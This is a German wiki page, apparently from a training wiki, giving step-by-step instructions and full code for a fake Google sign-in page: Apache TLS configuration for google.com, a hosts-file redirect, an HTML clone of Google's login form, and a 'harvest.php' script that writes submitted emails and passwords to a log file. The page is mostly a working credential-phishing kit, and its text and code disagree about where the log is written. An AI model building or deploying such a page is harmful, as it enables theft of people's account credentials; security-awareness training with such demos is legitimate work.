Google.com: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 132: | Zeile 132: | ||
<pre> | <pre> | ||
<?php | <?php | ||
| − | file_put_contents(" | + | file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND); |
header("Location: https://you-have-been-hacked.xinux.de/"); | header("Location: https://you-have-been-hacked.xinux.de/"); | ||
exit; | exit; | ||
?> | ?> | ||
| + | |||
</pre> | </pre> | ||
Version vom 20. Mai 2025, 18:33 Uhr
Fake-Google-Login mit Apache, SSL und PHP-Logging
Ziel
- TLS-geschützte Fake-Loginseite
- Täuschend echtes Google-Layout
- Loggt E-Mail + Passwort nach /tmp/
- Kein nginx, kein SET, kein Frickel
Voraussetzungen
- Zertifikate vorhanden:
- /etc/apache2/google.com.fullchain.crt
- /etc/apache2/google.com.key
- Apache und PHP installiert:
apt install apache2 php libapache2-mod-php -y
Apache für SSL konfigurieren
- Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf
- Inhalt ersetzen:
<VirtualHost *:443>
ServerName google.com
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/apache2/google.com.fullchain.crt
SSLCertificateKeyFile /etc/apache2/google.com.key
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
- SSL-Modul aktivieren:
a2enmod ssl
- Apache neu starten:
systemctl restart apache2
Hosts-Datei anpassen
echo "127.0.0.1 google.com" >> /etc/hosts
HTML + PHP bereitstellen
- Verzeichnis: /var/www/html
- index.html:
<!DOCTYPE html>
<html>
<head>
<title>Sign in – Google Accounts</title>
<meta charset="utf-8">
<style>
body {
background-color: #f2f2f2;
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: #fff;
padding: 48px 40px 36px;
border-radius: 8px;
box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15);
max-width: 360px;
width: 100%;
box-sizing: border-box;
text-align: center;
}
.logo {
width: 75px;
margin-bottom: 24px;
}
h1 {
font-size: 24px;
font-weight: 400;
margin: 0 0 24px 0;
color: #202124;
}
input {
width: 100%;
padding: 14px;
margin: 8px 0;
border: 1px solid #dadce0;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
}
button {
width: 100%;
background-color: #1a73e8;
color: white;
padding: 12px;
border: none;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
margin-top: 24px;
cursor: pointer;
}
button:hover {
background-color: #1669c1;
}
</style>
</head>
<body>
<div class="container">
<img src="logo.png" class="logo" alt="Google">
<h1>Sign in</h1>
<form action="harvest.php" method="POST">
<input type="text" name="email" placeholder="Email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
- harvest.php:
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://you-have-been-hacked.xinux.de/");
exit;
?>
- Logo:
- Datei: /var/www/html/logo.png
- Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren
Test
- Im Browser aufrufen:
https://google.com
→ Seite erscheint → Eingaben werden in /tmp/xlog.txt geschrieben → Weiterleitung zur echten (oder Fake-)Google-Seite